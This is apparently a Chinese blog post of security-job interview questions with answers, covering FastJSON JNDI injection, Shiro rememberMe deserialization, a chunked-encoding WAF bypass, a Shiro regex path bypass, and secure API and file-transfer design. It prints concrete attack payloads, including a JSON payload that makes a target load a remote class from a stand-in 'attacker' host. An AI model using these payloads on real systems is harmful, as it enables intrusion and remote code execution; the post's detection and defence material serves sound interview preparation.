懂这些漏洞轻松收割3个offer

大晚上,朋友找我,让我帮他赛选下offer。。。

这真的是旱的旱死涝的涝死啊。。。

1、深信服技术服务工程师,base 西安,月薪 14k 据说还有些异地补助

2、奇安信安全服务工程师,base 重庆,月薪 12k

3、绿盟科技的渗透工程师,base 武汉,月薪 10k

我觉得这不是重点啊,关键是他咋这么牛x,他给我讲了这三家主要都还是问了如何绕waf,还有shiro、fastjson框架漏洞,以及一些安全开发的问题。

1. 如何构造JNDI注入攻击链利用FastJSON漏洞?给出完整利用步骤

答案:
攻击步骤:
1. 准备恶意RMI服务:启动JNDI服务指向http://attacker/Exploit.class
2. 构造payload:
   {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker/obj"}
3. 触发目标反序列化时,会发起JNDI请求加载远程类

防御措施:
1. 升级至1.2.83+版本
2. 设置jvm参数:-Dfastjson.parser.autoTypeAccept=可信类白名单

2. 在已获取Shiro密钥的情况下,如何构造有效的反序列化Payload?

答案:
步骤:
1. 生成恶意对象:使用ysoserial生成CommonsBeanutils1的Payload
2. AES加密:使用Shiro的CBC模式+PKCS5Padding加密
   key=Base64.decode(defaultKey)
3. 构造Cookie:
   rememberMe=Base64(IV + encryptedPayload)
4. 发送请求携带该Cookie触发漏洞

检测方法:
使用dnslog检测反连:构造URLDNS gadget验证漏洞

3. 如何通过流量特征识别FastJSON反序列化攻击?

答案:
特征指标:
1. 请求体中出现"@type"字段
2. JSON中包含非常见类名如JdbcRowSetImpl
3. 异常DNS查询(JNDI注入阶段)
4. 出网流量到非常用端口(LDAP/RMI)

防御检测:
1. 监控异常JSON结构
2. 部署JNDI请求的出口过滤

4. 如何利用分块编码绕过WAF的RequestBody检测?给出具体HTTP请求示例

示例请求:
POST /api HTTP/1.1
Transfer-Encoding: chunked

3
id=
2
1
0

原理:
WAF可能无法正确重组分块数据,实际请求体为id=1

5. 针对最新Shiro漏洞CVE-2022-32532,分析其与之前版本漏洞的异同

漏洞分析:
- 影响版本:1.9.0以下
- 新特性:RegexRequestMatcher中使用不当正则导致权限绕过
- 绕过方式:构造/admin/%0a绕过^/admin/.*$的正则匹配

修复方案:
1. 升级至1.9.0+ 
2. 使用严格路径匹配模式

题目6
在开发RESTful API时,如何设计防御措施同时防止以下攻击场景:

  • SQL注入(包括二阶注入)

  • 敏感信息泄露(如异常堆栈)

  • JWT令牌篡改

请从代码架构设计、输入验证、输出处理三个层面说明具体实现方案,并给出关键代码示例。

答案

1. **架构设计**:  
   - **分层防御**:  
     - 使用ORM框架(如Hibernate)强制参数化查询  
     ```java  
     // 正确示例  
     Query query = session.createQuery("FROM User WHERE name = :username");  
     query.setParameter("username", userInput);  
     ```  
     - 全局异常处理:自定义@ControllerAdvice捕获异常,替换敏感堆栈信息  
     ```java  
     @ExceptionHandler(SQLException.class)  
     public ResponseEntity<String> handleSQLException(SQLException ex) {  
         return ResponseEntity.status(500).body("Internal Server Error");  
     }  
     ```  

2. **输入验证**:  
   - **白名单校验**:对参数类型、长度、格式进行正则匹配  
   ```java  
   if (!Pattern.matches("^[a-zA-Z0-9_]{3,20}$", username)) {  
       throw new ValidationException("Invalid username");  
   }  
  • 上下文编码:对输出到HTML/SQL/JSON的数据分别进行编码

String safeOutput = HtmlUtils.htmlEscape(userContent);  
  1. JWT防御
    • 签名验证:使用强算法(如RS256)并定期轮换密钥

    • 令牌绑定:将JWT与客户端指纹(如IP+User-Agent哈希)绑定

    String fingerprint = DigestUtils.sha256Hex(request.getRemoteAddr() + userAgent);  
    if (!jwt.getClaim("fp").asString().equals(fingerprint)) {  
        throw new AuthException("Invalid token");  
    }  
    

题目7
设计一个安全的文件传输服务,要求同时满足:

  • 客户端与服务端双向身份认证

  • 传输过程数据加密

  • 防重放攻击

请说明协议选型、密钥管理方案及具体实现步骤,需包含代码片段。

答案

1. **协议选型**:  
   - 使用**TLS 1.3**协议(禁用旧版本和弱加密套件)  
   - 双向认证:服务端与客户端均提供证书  

2. **密钥管理**:  
   - **服务端证书**:由私有CA签发,密钥存储于HSM中  
   - **客户端证书**:采用双向mTLS,证书预置在客户端应用  
   ```bash  
   # OpenSSL生成客户端证书  
   openssl req -x509 -newkey rsa:4096 -keyout client.key -out client.crt -days 365  
  1. 防重放攻击

    • 时间戳+Nonce:请求头包含时间戳和随机数,服务端缓存校验

    public boolean isReplayAttack(String nonce, long timestamp) {  
        if (System.currentTimeMillis() - timestamp > 5000) return true;  
        return cache.contains(nonce);  
    }  
    
  2. 代码实现(Node.js示例):

    const tls = require('tls');  
    const server = tls.createServer({  
      cert: fs.readFileSync('server.crt'),  
      key: fs.readFileSync('server.key'),  
      ca: [fs.readFileSync('ca.crt')],  
      requestCert: true, // 要求客户端证书  
      rejectUnauthorized: true  
    });  
    server.on('secureConnection', (socket) => {  
      console.log('Client cert:', socket.getPeerCertificate());  
    });  
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mingzhi61

你的打赏,是我创造最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值